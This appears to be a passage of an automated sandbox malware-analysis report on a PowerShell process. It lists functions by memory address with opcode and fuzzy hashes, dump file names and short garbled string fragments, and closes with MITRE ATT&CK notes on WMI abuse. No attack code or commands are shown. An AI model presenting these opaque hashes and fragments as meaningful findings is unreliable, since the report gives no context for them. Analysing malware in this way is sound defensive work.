API String ID:
Opcode ID: bcab10d4ca9db536bca80c3bb1240f740a1f31325f60b337c4b3817596722e91
Instruction ID: 5dfe7ba1eba70f239548b7bdac48da8fd1c971f6202ed9b45b91ac4a5479ea82
Opcode Fuzzy Hash: bcab10d4ca9db536bca80c3bb1240f740a1f31325f60b337c4b3817596722e91
Instruction Fuzzy Hash: 5A918E70A002159FCB15CF58C594ABEFBB1FF88310B2486A9D415AB3A9C735FC91CBA0

Function 0492B948 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e351e3099db5d5a41ce11402d0b8825d8743d07532ae28eb20b59ec79419ae3
Instruction ID: b3c71bc6810c22950a936bbbd75c56fbc8ab7d3eeefae7956ad4a3815fc94921
Opcode Fuzzy Hash: 7e351e3099db5d5a41ce11402d0b8825d8743d07532ae28eb20b59ec79419ae3
Instruction Fuzzy Hash: 7971CD30A002199FCB24DF68C984A9EBBF2FF84304F248579D415AB796DB70BC46CB80

Function 0492BAB6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df9ebbceb0c3187b5afcae8d51a187008611ce35c6f0ca8553aa327a3f94ef12
Instruction ID: cee92af9bfa6267fa21cde5b261830541356ae4a86dd57e237267c7fb2c78ef5
Opcode Fuzzy Hash: df9ebbceb0c3187b5afcae8d51a187008611ce35c6f0ca8553aa327a3f94ef12
Instruction Fuzzy Hash: E9716C30E002189FDB14DFA9D994BADBBF2BF88304F148429D811AB794DB34BD46CB41

Function 0492B8B2 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7d60d1fb0f8eb2c42a9884c122cd8c1a54fca3262abb9d8c72873f25d47993
Instruction ID: 4da5a9553fffb4eeff928cffbe53beee0f778c007b51dff8c1c00d4a7735afcb
Opcode Fuzzy Hash: bd7d60d1fb0f8eb2c42a9884c122cd8c1a54fca3262abb9d8c72873f25d47993
Instruction Fuzzy Hash: 7051CE309053959FDB15DF68C9946DDBBF2FF86304F0884AAD046AB3A6CB746C06CB51

Function 07762969 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bffbcd43761cc7927644f620ab28e625d7c4e7c929227f6e78a095ee464591
Instruction ID: 4501e162cf96d2b9d419b69aa30822bf06016f49c7949dedd3c970a8b9d7712e
Opcode Fuzzy Hash: a9bffbcd43761cc7927644f620ab28e625d7c4e7c929227f6e78a095ee464591
Instruction Fuzzy Hash: 3551E4B5B003019FEB64CE58C840B6ABBA2FF85394F14C46AEC459B346C772DC42CB91

Function 0492B2D9 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b2ede79f1300afa23472c7d7acc8c5c1c59fe141f708acbeb1c3e79f98aad83
Instruction ID: 2cb5a72dd2491637e530f19740b901dbfc6c97e96796eb15aa8c87ea31b297b1
Opcode Fuzzy Hash: 7b2ede79f1300afa23472c7d7acc8c5c1c59fe141f708acbeb1c3e79f98aad83
Instruction Fuzzy Hash: DC418F31B006509FDB24DF64D998AAE7BF6EF89314F14846DE506EB7A1CB34AC41CB50

Function 0492B92A Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da6cd1ff0e518cc37a1e12fe6f0747cd5b1222f5eea2fc14d269c93f153177d
Instruction ID: 3878ee5a20d50c3bf9e906ff3c673ea13a9775d91182ca7225874e3cfaea0803
Opcode Fuzzy Hash: 3da6cd1ff0e518cc37a1e12fe6f0747cd5b1222f5eea2fc14d269c93f153177d
Instruction Fuzzy Hash: 73418630A002599FDB18DFA9C8847ADBBF2BF88304F148439D406AB795DB74AC46CB80

Function 0776B34D Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5a0f9abe60304e741ad18c2c0c1eebbe3e645ffafa0ad2e680b2ee2b0b1f8cf
Instruction ID: 5adee3676e2f3b386167d787ee634ca98abc1c932eb297fa19e75b4547c21188
Opcode Fuzzy Hash: f5a0f9abe60304e741ad18c2c0c1eebbe3e645ffafa0ad2e680b2ee2b0b1f8cf
Instruction Fuzzy Hash: 2631AEF1B043048FD715977448116AEBB529FC6244B20847ACD41CF7A9DE31CD02C7A6

Function 07768CA6 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb7289dc3afe133c32b448c6d54944d80a530457356e3ee4a2c2497f420ef4e
Instruction ID: 8eb3c9141e6d04c06de28e6017f0c1dbb8e1355f2f3bd5f896a2b4e24d245347
Opcode Fuzzy Hash: 2eb7289dc3afe133c32b448c6d54944d80a530457356e3ee4a2c2497f420ef4e
Instruction Fuzzy Hash: A831C3B4F00314AFE7189B64C815BAE7AB3AB85344F11C428E9016FBD5CF76DC468BA5

Function 04926DB8 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd991c3bb435889bdd68e8266c320d15a85c5919d5f10efd88337771159d92f0
Instruction ID: cc210e00ce1e8f91667b5d34881294f005c471b2c203ece47cb877ebe1326cdd
Opcode Fuzzy Hash: bd991c3bb435889bdd68e8266c320d15a85c5919d5f10efd88337771159d92f0
Instruction Fuzzy Hash: D7317271A00769DFDB15CF64C98469DBBB6BF85300F144139D802ABB44EB70ED96CB90

Function 0492E398 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d538afc67c99f1ea493cc99dfa4202c89a21de91835a070df5fb6304fab70f
Instruction ID: 585f0d2b1e6f5800f954add3acd9d1f467dd97291c81664a4dbd84cb47032cd0
Opcode Fuzzy Hash: 17d538afc67c99f1ea493cc99dfa4202c89a21de91835a070df5fb6304fab70f
Instruction Fuzzy Hash: BE316430B051288FDF25EB64C9946EEB7B2BF89309F1044E9D50AAB355CB319E85CF91

Function 04926DA8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd230b2dff7cfbc3bed0d4a41ec1f3d76c0648331c74a7d460c985e94496878a
Instruction ID: fb5b5c6bbd03f8ffbd7065afe548ce3a90b78f4d48c484b32c792423b2ffea71
Opcode Fuzzy Hash: cd230b2dff7cfbc3bed0d4a41ec1f3d76c0648331c74a7d460c985e94496878a
Instruction Fuzzy Hash: 0F21C171E0436D9BDF19CF64C8946DEBFB6AF86300F104579E801ABA45EB70AC56CB90

Function 047CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471018087.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41f4a60457a789821a415eb2641afbf975a3ec3ed658df079170929f197cbc3
Instruction ID: 2a19c86a20df2db907892a794a8dddccdb86878cb46cd9b42756b50e97d8c8d4
Opcode Fuzzy Hash: d41f4a60457a789821a415eb2641afbf975a3ec3ed658df079170929f197cbc3
Instruction Fuzzy Hash: 7F01F7315047009AE7304E2AEDC4767BB98DF45360F18C82EDC480E342C778A8C2CAB1

Function 04926EDF Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2442dcc2d5ddf364f8df2296b21b9b831fef73c62dabd6cfa9b700c535078b68
Instruction ID: 072238f13ca9c4ae333c202947c02ecb8c4bf9058492bcce27d975b74f0c41c1
Opcode Fuzzy Hash: 2442dcc2d5ddf364f8df2296b21b9b831fef73c62dabd6cfa9b700c535078b68
Instruction Fuzzy Hash: D0F0A4313443608F8B155B6C91145967FE7FEC5391B1449BED446CBF0AEA31EC068BE1

Function 04928B70 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba1f19a12b72639a971c4f38c5d9c609061af45a03d7f05bce44a6156dc820cb
Instruction ID: 662f8af482cee1eafead801602875f8268f3a95b5a41638259c4a8646024edbf
Opcode Fuzzy Hash: ba1f19a12b72639a971c4f38c5d9c609061af45a03d7f05bce44a6156dc820cb
Instruction Fuzzy Hash: 3601E874E0420ACFC785DF68C495A6EBBF1FF09200F5041A9E906DB762D730A955CB91

Function 047CD01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471018087.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 796df5566f8ec315dd344e2208dfb83f607c46f2b8de0eabfc32474b51db7c13
Instruction ID: 4ef52b580d8e9b5ec01960d9b8ce7bbaa07e70139d763ac89b25bbd9a1db5b27
Opcode Fuzzy Hash: 796df5566f8ec315dd344e2208dfb83f607c46f2b8de0eabfc32474b51db7c13
Instruction Fuzzy Hash: AFF0C271404344AEE7208E1ADD84B63FB98EB41334F18C45EED484E286C379A881CBB1

Function 04928B80 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79110fbfc06c916052d97b7f8d3855d2b3af6cb834211cb5250949232fb07d23
Instruction ID: d522a1ef93066860609b99282a789d65d3306adb62b5fff29f60de9cb78733a4
Opcode Fuzzy Hash: 79110fbfc06c916052d97b7f8d3855d2b3af6cb834211cb5250949232fb07d23
Instruction Fuzzy Hash: 0DF0A974E0420ACFC780DF68D485AAEBBF5FF49210F6051A9E509DB321E730A951CB91

Function 07764354 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0abefa377a3c7f88b8478d8c2ace4083eb407326746b2396e130f9ff939e3ff0
Instruction ID: 1e303b067d277969ef8c63be708c80d91df25964afdddf64ad0ffc607f9633da
Opcode Fuzzy Hash: 0abefa377a3c7f88b8478d8c2ace4083eb407326746b2396e130f9ff939e3ff0
Instruction Fuzzy Hash: 33F0EDB020D3C24FD322CB208969820FF31AF832C030D84DBDA80DF0ABC220AA06E711

Function 07764204 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372e2e92cc4eba5915d6f000058a822dd918042f22423409bac1713b14fcc600
Instruction ID: 5e510dfb5d735f291526a57d230dac1aada8fa4598ba78c6cd63b701aa70c843
Opcode Fuzzy Hash: 372e2e92cc4eba5915d6f000058a822dd918042f22423409bac1713b14fcc600
Instruction Fuzzy Hash: 27F030B05092C18FD7128B50C458614BFB3AF43645F2DC1CAC8548F2ABC622D94AC711

Non-executed Functions

Function 047CD244 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2471018087.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc5462b6af7fa61972d2157952bfe9e13f97265f3a7006119116bd32dd7bab0d
Instruction ID: 403a916f902a31ba09a1cd056fa513b6d00e93bbc37ad107804dc82aa6cfe05a
Opcode Fuzzy Hash: cc5462b6af7fa61972d2157952bfe9e13f97265f3a7006119116bd32dd7bab0d
Instruction Fuzzy Hash: BE21B872604240DFEF25DF54DAC0B16BBA5FB88314F24856DD9090B356C33AE456DBA1

Function 0776E505 Relevance: 14.0, Strings: 11, Instructions: 294COMMON

Download Yara Rule

Strings

(q, xrefs: 0776E6F2
4'q, xrefs: 0776E810
tPq, xrefs: 0776E738
(q, xrefs: 0776E760
4'q, xrefs: 0776E804
$q, xrefs: 0776E55D
(q, xrefs: 0776E756
(q, xrefs: 0776E795
tPq, xrefs: 0776E63D
tPq, xrefs: 0776E72C
tPq, xrefs: 0776E631

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$tPq$tPq$$q$(q$(q$(q$(q
API String ID: 0-1570892024
Opcode ID: cb1b6c05cd33a37380378c0a944681bf6e15dbf72e4bc59a0a651c487d621aae
Instruction ID: 2d98c3ac397cb74336a4ab74eaa1785cf517f5df3d9d8fe4882663e603d63d81
Opcode Fuzzy Hash: cb1b6c05cd33a37380378c0a944681bf6e15dbf72e4bc59a0a651c487d621aae
Instruction Fuzzy Hash: 68A11BB8B00206DFDB25CF65C80876AB7A2BF85254F188465EC455F399DBB1DC42CBB2

Function 07762D00 Relevance: 13.0, Strings: 10, Instructions: 477COMMON

Download Yara Rule

Strings

4'q, xrefs: 0776319E
4'q, xrefs: 07762DF2
4'q, xrefs: 07763194
$q, xrefs: 07762D9B
4'q, xrefs: 07762DFE
tPq, xrefs: 07762FFE
tPq, xrefs: 0776300A
$q, xrefs: 07762D57
$q, xrefs: 07762D8F
$q, xrefs: 07762F7B

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$tPq$tPq$$q$$q$$q$$q
API String ID: 0-3456696661
Opcode ID: e7652bbeae179322d0548837d6069854092cc77cbf4341049a71cca82cd370ca
Instruction ID: cae0967565c04309eddeea7cbaa4bd0340f49fcba9a1ae5da48db6d6011c9b3c
Opcode Fuzzy Hash: e7652bbeae179322d0548837d6069854092cc77cbf4341049a71cca82cd370ca
Instruction Fuzzy Hash: 86F15DB1B043068FDB649B65C4097AABBA2FFC5250F14C87AD8459F24ADB32CC46C7A1

Function 07763510 Relevance: 12.8, Strings: 10, Instructions: 308COMMON

Download Yara Rule

Strings

$q, xrefs: 07763727
$q, xrefs: 0776377C
4'q, xrefs: 077637F2
$q, xrefs: 0776378C
$q, xrefs: 077637C9
4'q, xrefs: 077637E6
4'q, xrefs: 07763608
4'q, xrefs: 07763614
$q, xrefs: 07763706
$q, xrefs: 077637BD

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$$q$$q$$q$$q$$q$$q
API String ID: 0-4104424984
Opcode ID: 603e49af9ba09c042fd5f059c08bfea781aeee9f6a395e06bd81fd85ae291449
Instruction ID: be60951fe7fee34e2f279aadb7509d06893b1841bf3797e45966b0b8b972818c
Opcode Fuzzy Hash: 603e49af9ba09c042fd5f059c08bfea781aeee9f6a395e06bd81fd85ae291449
Instruction Fuzzy Hash: 0DA147F1B043468FDB254B39D85866A7BA1AFC6294F1884BBD845CB35ADB31CC41C7A2

Function 0776DC8D Relevance: 11.5, Strings: 9, Instructions: 209COMMON

Download Yara Rule

Strings

d%q, xrefs: 0776DEAA
d%q, xrefs: 0776DE6B
d%q, xrefs: 0776DE75
4'q, xrefs: 0776DEEB
4'q, xrefs: 0776DEDF
tPq, xrefs: 0776DE4D
tPq, xrefs: 0776DE41
d%q, xrefs: 0776DE07
$q, xrefs: 0776DD28

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$d%q$d%q$d%q$d%q$tPq$tPq$$q
API String ID: 0-328666906
Opcode ID: 4de8d8108a5a3da37b0ff28f8e54c86ca825d58cb50949b131db07be09e6908b
Instruction ID: d87a4c3003ae264a0209826a34eb7290a5a11df9ed495b2e02dfe7372a82c45b
Opcode Fuzzy Hash: 4de8d8108a5a3da37b0ff28f8e54c86ca825d58cb50949b131db07be09e6908b
Instruction Fuzzy Hash: 2A712CB5B20306DFDF389F25C408BA9B7A2BFC5280F198869DC159B289DB31CC51C791

Function 0776DFD4 Relevance: 6.4, Strings: 5, Instructions: 125COMMON

Download Yara Rule

Strings

4'q, xrefs: 0776E0AD
$q, xrefs: 0776E075
$q, xrefs: 0776E03B
4'q, xrefs: 0776E0A1
$q, xrefs: 0776E081

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q
API String ID: 0-170447905
Opcode ID: 0addf3ed2614b6f766c934bb367623e5070375a66eb0021b4a405af8614e1cee
Instruction ID: 051c6745e60bb163a27cf1ea232dfa7f164effcf0dcc332e4b8293b9f98e2d10
Opcode Fuzzy Hash: 0addf3ed2614b6f766c934bb367623e5070375a66eb0021b4a405af8614e1cee
Instruction Fuzzy Hash: C44169FA704307CFDB295A6998082B6B3A1BFD6190B3888BBCC428714DDE71C456C771

Function 077694F8 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$q, xrefs: 07769555
$q, xrefs: 07769571
$q, xrefs: 0776966E
tPq, xrefs: 077695F3
4'q, xrefs: 077696A3

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$tPq$$q$$q$$q
API String ID: 0-838716513
Opcode ID: 8c7cba120d9660df9e5b6772bbbdebf0e411ce93e4575674de1f13015bd649c0
Instruction ID: 71046a6625de8d79e621b9b50b4f0c1528b8a453d4e1f1183b011f71525ba93f
Opcode Fuzzy Hash: 8c7cba120d9660df9e5b6772bbbdebf0e411ce93e4575674de1f13015bd649c0
Instruction Fuzzy Hash: A431C4F0B00306DBDB24CE05C549765B7A2AB853A4F58C86EDE159B29DCB31F940CF91

Function 0776DD8E Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

d%q, xrefs: 0776DE6B
d%q, xrefs: 0776DE75
4'q, xrefs: 0776DEDF
tPq, xrefs: 0776DE41
d%q, xrefs: 0776DE07

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$d%q$d%q$d%q$tPq
API String ID: 0-706544200
Opcode ID: 182a68f5ee4dc408dad8cde6c10a86bb3e2f1530a8c747f9e691498483f5f040
Instruction ID: 7aaf8b442a028635a3e457bd27ba266633a8af137d9748ac9d48f483b9fbf6d5
Opcode Fuzzy Hash: 182a68f5ee4dc408dad8cde6c10a86bb3e2f1530a8c747f9e691498483f5f040
Instruction Fuzzy Hash: 7F31B1B8B202059FCF38DF54C408BA9F7A2FB98694F198555EC056B348C731DC01CB91

Function 04927A70 Relevance: 5.2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

Strings

Hq, xrefs: 04927B90
P, xrefs: 04927B08
(q, xrefs: 04927AC1
Hq, xrefs: 04927B3E

Memory Dump Source

Source File: 0000000B.00000002.2471805060.0000000004920000.00000040.00000800.00020000.00000000.sdmp, Offset: 04920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4920000_powershell.jbxd

Similarity

API ID:
String ID: (q$Hq$Hq$P
API String ID: 0-3072996690
Opcode ID: 154c32068168ab4b031d1587e944c2a52670cbe4a138388f620c14de94b430a7
Instruction ID: c34e478520d13b3eee78eef3af99d6f265717d7273d378667780b319de6eb9d8
Opcode Fuzzy Hash: 154c32068168ab4b031d1587e944c2a52670cbe4a138388f620c14de94b430a7
Instruction Fuzzy Hash: 1E41F9317006241FE719AAB9982037F769BEFC5754B18887DE80ADB384DE34EC034391

Function 0776EF5F Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

XRq, xrefs: 0776EFC1
tPq, xrefs: 0776F064
XRq, xrefs: 0776F0F5
$q, xrefs: 0776EFDD

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: XRq$XRq$tPq$$q
API String ID: 0-1549039314
Opcode ID: 344eb3e79f595a503219e0d9c9f5b4d66e1ac0613b18f4bcff7e907a8468ee85
Instruction ID: edc7eb3ad4f17c798c46e83fe032c700926c0aa27baf8d0adda407b9f9ca186a
Opcode Fuzzy Hash: 344eb3e79f595a503219e0d9c9f5b4d66e1ac0613b18f4bcff7e907a8468ee85
Instruction Fuzzy Hash: 6641F7B0A00205DFCB24CF19D509BA9B7F2BF88394F59C855DC146B259C772DD80CBA1

Function 07762360 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 0776238E
$q, xrefs: 077623BC
$q, xrefs: 07762372
$q, xrefs: 077623C8

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 553da332c84dd8bb341cf8bf89372950d99bdd1ddfbd6a375a65bf337558a598
Instruction ID: b110c6bcd30ae1dade3a372df7521d5e627e157230bdad63496d1018c2b5a222
Opcode Fuzzy Hash: 553da332c84dd8bb341cf8bf89372950d99bdd1ddfbd6a375a65bf337558a598
Instruction Fuzzy Hash: AF216BF17103079BEBB8566B5848B3A7A96BBC5691F24883ADD05CB38BDE35CC41C361

Function 0776F058 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

tPq, xrefs: 0776F064
XRq, xrefs: 0776F105
XRq, xrefs: 0776F0F5
tPq, xrefs: 0776F070

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: XRq$XRq$tPq$tPq
API String ID: 0-2016303371
Opcode ID: 6e13a9091b75b7632f42ea987560167973b88cbbf9346c1cd8e0329851867708
Instruction ID: 652f96b6f49ca4cb2b4cf2456b4965ba6db0b813fe0f7f46193bc61eb131766f
Opcode Fuzzy Hash: 6e13a9091b75b7632f42ea987560167973b88cbbf9346c1cd8e0329851867708
Instruction Fuzzy Hash: 9521F4B1B00209DFD728AB54D84572AB7A6BB88290F25C96DDC069F348CF31CC42CB90

Function 07769788 Relevance: 5.1, Strings: 4, Instructions: 67COMMON

Download Yara Rule

Strings

$q, xrefs: 077697FB
$q, xrefs: 07769823
$q, xrefs: 077697DF
$q, xrefs: 0776983F

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: cdbad8789221a47c7dd41069c2798595f71e184cb10062c03b679456206781b8
Instruction ID: 0c38f873872fee2cc2f14066c3c125078a4651fa665226ab401fd598875b1239
Opcode Fuzzy Hash: cdbad8789221a47c7dd41069c2798595f71e184cb10062c03b679456206781b8
Instruction Fuzzy Hash: 8211AFF1A04307DFDB308E599549676BBE4BF81A90F68887ECE0897209D731E544CF92

Function 07760309 Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

4'q, xrefs: 0776037F
$q, xrefs: 07760352
$q, xrefs: 0776035E
4'q, xrefs: 07760373

Memory Dump Source

Source File: 0000000B.00000002.2498339835.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q
API String ID: 0-3199993180
Opcode ID: 4f4fae6fa68361a229367b3b3c410383c4b4e141ad852bb35b5474e519c36dc6
Instruction ID: 1f72410c74ef29a60e12fe042cd45af1e033a41edea205b6bf18daf501642998
Opcode Fuzzy Hash: 4f4fae6fa68361a229367b3b3c410383c4b4e141ad852bb35b5474e519c36dc6
Instruction Fuzzy Hash: 3E01D461B0E3D64FD32B122628255652F726FC319172E41EBC881CF397C9158C06C3A7

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
